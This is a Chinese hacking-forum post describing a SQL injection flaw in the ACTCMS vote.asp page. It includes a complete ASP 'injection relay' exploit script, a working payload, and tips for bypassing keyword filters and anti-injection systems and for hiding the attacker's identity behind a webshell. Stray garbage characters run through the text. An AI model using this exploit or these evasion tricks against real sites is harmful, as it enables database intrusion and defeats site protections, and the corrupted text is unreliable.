# ~4 K9 b" K& } f1 H! b看到ninty大牛的blog的一篇文章
9 N* h* ?4 B0 _! ~链接标记[url]http://www.forjj.com/?action=show&id=80[/url]4 k( z, P) h0 i0 ^& q+ o5 U/ G
关于actcms漏洞的利用 by 3x qq:381862589, [7 }8 X, U5 k! T+ {
转载请注明以上
9 [$ \ v0 h0 e9 `9 ^& b2 j" s7 ]漏洞文件:
% q: i$ J, Q+ ?/plus/vote/vote.asp2 R/ e( d: z" G$ p+ }/ ]
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
/ a3 T- N N3 n& b" m0 K; R3 t. _; g0 ~2 S$ T
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
0 X; @9 L3 j9 q4 f7 F- g6 H# m
' d- l! E4 j( |. ^3 response.end * b0 j' Q) p7 `4 J$ e
) M- A Y7 `9 G# y. T+ P# c
4 end if
1 u5 G+ M) N4 q3 L. M! c! h8 ?% M
) ?$ K1 ^! b0 i+ L: ]+ x% e: h5 for i=1 to request("voted").count
5 h4 R9 K7 f$ Z# N w2 f
/ w; x$ p; j( d6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) 0 t* {; V4 v# ~# |4 V! s7 ]
5 t9 X6 c g, |9 M1 ]) Z. b
7 next
3 s9 s" D; p3 A8 w/ k
/ P, D2 f7 Q/ N* d8.... & ^3 `' t0 B0 A8 n8 \# [
6 x: a( `& x# J; g+ @8 \( h
9response.Redirect "index.asp?id="&id&"" 1 ` c. r( G3 }/ [
投票结束回跳转回index.asp这个投票结果页面% k+ o* H; T. D
如果投票成功票数加1
, Q+ g# V: @0 `" c3 Q( F1 z$ g 失败票数不变
& Y# ~0 b/ {2 k+ a- ? Y如图:- ^5 H: w4 F. ~& K4 w
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
! V- F7 s1 C% ^) l. D' b0 d2 f# w/ [, X
2009-12-27 13:20
O/ l. o* q( \' h* H' R
2 W' h, W! [5 C9 h# E! E利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
% R4 y5 O4 Y* I7 X6 a2 u( i1 n J. M, n) ~( Z& T3 E
本帖隐藏的内容需要回复才可以浏览( J0 u5 M; Z5 b6 O
我们用注入中转来实现这个注入具体代码如下:
- s# f( L2 j0 b+ O先用寂寞的刺猬大牛的注入中转生成jmget.asp" j2 @1 `8 ?. ~, [: t n" Y/ h
注入地址:http://localhost/actcms/plus/vote/vote.asp. S: i/ X7 q7 Y, K
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
) h5 w% p& C* J- Z2 v) U% q5 g, ]( Z% Z" W: }& H' C: S# q
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% . ?6 `0 }$ Y" Q1 D2 ]. O# {# u+ Z
3 l- d- e" u$ Z/ @, X: ~* x# V02JmdcwName=request("jmdcw")
* p: h& j+ m' s
6 J4 Y, K; A- l03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
4 k8 p% |: z5 p5 a: _1 r7 _4 H2 j: v: ^, W
04JmStr="id=1&voted=-1 or 1="&JmdcwName 9 Z7 K3 J- c* [' \8 R
/ W; {1 @4 \' W! ]& Z8 ]
05JmStr=URLEncoding(JmStr)
; R9 V" ?$ s! q5 v( F; b7 S1 N9 q( J: `
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"* S' P6 X' e) B% H* N% W
$ C5 V/ ?3 Q; ~" x8 q07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"9 E: ^9 w3 B. ~( ^0 ?3 S
3 B& _7 V2 ^9 m8 T; p& b
08testurl=testurl & "?" & JmStr " [' C. o0 l' n! w
& L% X. o( d6 r a09JMUrl=JMUrl & "?" & JmStr
' @& N# ^9 v; ]+ m- u- b: S }
- C1 P8 |7 w K* W0 U10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
. I! r6 u. J) H! i
6 D' o- ?' \+ L11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
8 l6 F: I6 S q/ l) R0 t8 k2 n6 R5 ?9 [7 ~* H3 [; R- P( H: Q
12JmCok=replace(JmCok,chr(32),"%20")
* D+ b( c+ ]7 V
- R! U. f' @, s! |5 U! W13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 " g- F: y* i. \4 X- e
& }9 ~* @" S- |& a14 ( r2 t$ u8 o! ^' _$ h2 G' Y
! b \" J) e G5 Z1 T$ `. \' e+ t15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
/ E& O. x" z8 K# U0 `# R0 ]7 i( \1 T( i
16
. a |7 W$ J3 H) C# w7 ]4 j
# ~7 |2 n) y+ n1 Q17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
3 k: X3 q0 i+ \: W) D- e2 z
3 s; m9 g" w; J( J4 W18response.write test1&""&test2&""8 c8 N5 f& r$ F
8 d+ l2 Y4 M! N" L" G _
19 ( p: ^3 D: K' D! n
: V. u+ o2 W; z2 `6 [20if test1=test2 then '如前后记录相等,表示失败
- Q0 o1 Z6 _% F, |
) l6 X( J: w2 L: u4 D8 ?21 response.write "failed". ^6 U0 w. N) r+ s/ j
7 Z5 Q( R' g h
22else
2 T* ^8 Q1 ]3 c: H7 Q @ A* T5 {$ X) {$ _7 v* L
23 response.write "succeed"
. n L- i4 I; [, s) M; E8 L s3 J$ C0 G! P' m$ n \) Q
24end if
+ r7 Z* E* ~# J h+ |, J9 b" W3 @% `- o+ I
25
, v, ?& q% Q/ U3 \$ Q6 o e& C3 S& R; q" u' v
26response.write "by 3x"& q& ?% W3 ~7 j1 I7 Y$ |7 b
, P% N4 t) T2 _
27 9 L+ K) o1 Q* t8 U( ~/ b
5 U: }- _9 z! x- v
28 6 `' q) ~, X h: G9 h
# l; f" B8 L" ~2 ^: C) R" y' _1 m
29Function PostData(PostUrl,PostStr,PostCok,PostRef) ! ^2 {) I/ B r% \! |9 r8 p T
0 L& T; u! P: G: S1 W4 B
30Dim Http
: G+ V8 @' [& y- V7 E( e! }) H3 i; Y0 L1 W, R
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 1 T( Y0 x7 B- K, h1 y
! _6 r) f2 r Q" H: v+ W/ A9 [32With Http
0 ~& @$ f2 z! h/ c; B4 z7 ~, w5 u- ^) G9 C) k3 N; k/ u
33 6 P( e4 I+ Z$ E) U( c
; b4 ]6 n5 T' s
34.Open "GET",PostUrl,False
$ G2 {3 g9 U8 i1 x
/ D3 b3 M7 q: T: E( F5 n* n- _6 _! q" |35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"* m+ E/ h7 \! q. K, M9 p2 Y
- {" c j S e6 q0 z+ [6 h
36.SetRequestHeader "Referer",PostRef ! m: j$ s1 n3 o# u) J/ s. \
/ ?+ Y2 H. C$ k* n0 D
37.SetRequestHeader "Cookie",PostCok
& U, F) N# }0 `+ ~- C6 T1 X. b& q7 {8 d% T
38.Send () $ W4 E( r/ W$ i P# |3 ^' ?
" u8 h8 |" d! [7 z$ R
39PostData = .ResponseBody
* g! q a) N" X0 j( j$ y% @& {
- B8 @4 B% \, P/ x& d s" X/ u40End With
6 ~6 e' s2 N1 {# P3 C- K: M/ I/ ?5 m" f. w
41Set Http = Nothing( y8 R3 E3 z* f- |' K5 D2 `2 y
0 d# m& u& a @4 o/ h3 A1 M& z8 u- |42PostData =bytes2BSTR(PostData)
$ s7 T; N* b. E! i1 Y" R
) p& J* a2 v1 T% \+ W8 b43End Function
2 o8 @( s2 K# l% V: U
2 p4 l* Q; A# R3 [' G, S- b44
0 `8 f& O1 J" T. Z
$ W' i! d0 @2 e, C- z4 W. {; W ~45 3 S. Z; @( X# D
3 z. l6 C0 F" v4 e# g, q# R
46Function bytes2BSTR(vIn)
4 c+ P& e$ {' o* f
3 m2 [5 m/ _3 z. I2 p47Dim strReturn
- E3 a! \7 _2 R5 I) X8 I, i
5 L( d9 |' v; Z) E& t# p4 i48Dim I, ThisCharCode, NextCharCode
& I$ G$ P2 A5 v% F0 i C& ?8 P* r8 [
49strReturn = ""
* {4 W" [" J! `+ f
5 k: j, e, W) q50For I = 1 To LenB(vIn) " a; `4 I6 b2 @) d
9 H/ @4 Z4 u& O1 \0 M
51ThisCharCode = AscB(MidB(vIn, I, 1)) 5 W0 Z" X* b% G5 T9 p; C# B
8 L* w- Q. y8 @
52If ThisCharCode < &H80 Then+ t& x* t+ s/ f. S- w: F; f
* R& B6 _5 F% Z5 ^53strReturn = strReturn & Chr(ThisCharCode)
2 t" h. R: r3 P* C& y- [
% e/ f! T# E# V! S0 t- h) O8 u54Else
5 p, W4 E4 w& N8 Z) u$ n s; t
8 I) `+ G$ R. y$ g! a% W/ K! B55NextCharCode = AscB(MidB(vIn, I + 1, 1))
; \9 c( n6 R8 P5 I" J4 Q; ]1 x& e
5 M/ P4 K, J0 \3 w9 Q' R M5 L0 ~56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) . p% M' y' b& c4 M
, T. D, |& x3 m g57I = I + 1
; |; `7 p, C8 W/ I
2 F' ^* o K" d* \/ X, T58End If1 L* Z# n# I% B G1 c
( o- S' Y& J4 `59Next; x4 ?( z4 P8 R/ P5 Y
: {9 d3 A" q" F( q' A
60bytes2BSTR = strReturn
3 t; V/ {4 I: s4 A
5 O) s0 ?/ G- Y' x0 v0 k" _+ n61End Function& d4 u% Q, v$ d$ S% h
1 D5 v. X$ c/ b8 a; Q# Y% L/ t62
$ G" O5 M" N" V" f8 r/ ~
$ r) Q/ ]9 c |# g- \4 w/ m63Function URLEncoding(vstrin)
9 S6 e' x) u0 N6 f0 J/ c0 o) d
, Z2 m7 Y. D, s4 h64strReturn=""
* v7 A' B6 ]' @9 P, W( g3 y6 X
5 }6 }$ M: C ~65Dim i 8 q) Z5 v! W) P7 J+ S% |
6 H% R- Y" ]4 f66For i=1 To Len(vstrin) # Q; M. d l* |9 g9 @* C$ Z
0 x9 r {# p9 ~' R, y
67ThisChr=Mid(vstrin,i,1) # _! `# Z: | ~0 @( ]! U5 A4 r
7 X- f% x3 g8 r6 R68if Abs(Asc(ThisChr))< &HFF Then
4 q. g& ]6 @! y& j& L1 P( ~2 [ Y m, W$ \ n& y& A1 W$ ~
69strReturn=strReturn & ThisChr ) X2 g5 t+ l Q5 O( Y
$ [" r; Y" m3 ^1 D! D1 b
70Else
" |2 B9 ~& u! W* O. s6 `( m( c C+ n T3 U/ u" ?# [
71InnerCode=Asc(ThisChr)
8 \. m3 P y5 _8 ~/ j/ Y ?
' \4 o( { G9 V2 m1 \72If InnerCode<0 Then
# h- o+ P1 q& r* N$ b4 K, m8 Y4 ]" y" k1 l
73InnerCode=InnerCode + &H10000
' L) B% J9 t" p* @
; j& r( M6 p3 }/ l74End If
' `4 v9 N6 `. J2 M9 o" m, I% p; A! H6 G: U; `5 b: K6 o1 Q
75Hight1=(InnerCode And &HFF00) \&HFF
0 ]+ R# l$ z+ a( c6 W5 r6 B0 `
. V0 _7 D2 y" r* P n/ K. Y76Low1=InnerCode And &HFF # r+ w* y% ^. V6 ] O
2 Q. w7 I7 \2 Q. v- M77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
( G# C9 |7 W7 B- W0 z% A, f, J, s# @* n D. s, h
78End if
& p$ b. m7 |' t2 I0 [
3 N8 h& h \( d( M- \79Next- T* \0 ^& l( h1 \3 [
1 S+ b3 e1 [$ [80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 + E% q5 L/ z9 a5 _) M, _2 A- K) m5 e
" L0 f6 I, ? f81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 + A, D' U6 V) |8 o$ I8 @, O
! z! \0 w' ~: O82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
/ b+ v7 R( }* d c5 W' Q5 L% V7 y% p+ h3 s3 a
83URLEncoding=strReturn 9 B2 V& B. |" O
& q, b; b7 F U# a1 u
84End Function
, a h4 n1 p5 f+ F1 ~ P1 O7 _( l, }$ T% k9 t
85
" F( M5 X8 C: q3 x2 c0 x: `) H+ y) B8 r# y$ a
86function getSt(body) 4 u6 p3 w, ~7 r* ?* c
. O: l3 W0 M# g: d1 t# @% {$ L* A" }87 startpot=instr(body,"投票人数:")+len("投票人数:") % t, q+ J+ P7 X4 b% u6 q' }
; D8 r' ?% y8 r; E# ]5 T" F
88 endpot=instr(startpot,body," ")
6 ?1 _2 F2 [( Q g0 z
$ F: D7 d2 s4 |3 p1 L89 getSt=mid(body,startpot,endpot-startpot) 9 v3 K% z- w' ]" ?" A' h( [9 z
1 d$ l/ [" {- P. {7 G
90end function
( |( b K+ F- N2 s1 {% N* S1 ? v; e, |0 w$ b
91%>' d4 m c7 [% ~/ V" W
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了3 l' M4 H" @4 [0 M; @7 C( r
测试下效果:
8 z9 X3 u8 F& c( d( o& a投票成功:
4 @6 u( a, m3 [' s- shttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)" X+ ?' i2 ?: J4 i
! ^9 i% M: l# m# j) p8 Z
2009-12-27 13:29
, o; E$ \$ f/ W5 N& Q投票失败
1 }. M j5 L) q4 m6 V5 ghttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
; q( H6 w8 ]. U; w( ?6 ^( ~' L0 r7 \
2009-12-27 13:29
; y( I; r5 N# C% |3 N" {-------------------------------------------------------------------------------
9 v5 y2 r& h! m3 j4 p' h再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以. z! t" d8 M `/ g8 F3 w5 L
很抱歉。。。只能用单线程工具去注入。。。。。
6 W" A3 Q" V' i& g _所以失败。。。不好意思。。。
' U! R8 y5 {- }4 W" ]/ h-------------------------------------------------------------------------------
- o) ]; R. o' P5 ?* C% S- d7 V
/ `2 Z+ ]/ e. U注入中转的一些其他应用
$ h( `8 S0 K4 Q) B其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
8 k' O5 p& Z- i1 o# f1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id" `; D) ^8 o" d; I, y# X: M
2.post注入转成get型的注入,方便我们使用工具来跑
8 H S6 F& q/ F1 B6 |- o! M3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
' i9 N* u% j8 U4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
+ }: z, J6 n2 K2 k+ `6 }* H0 k$ E1 n) ?! V
|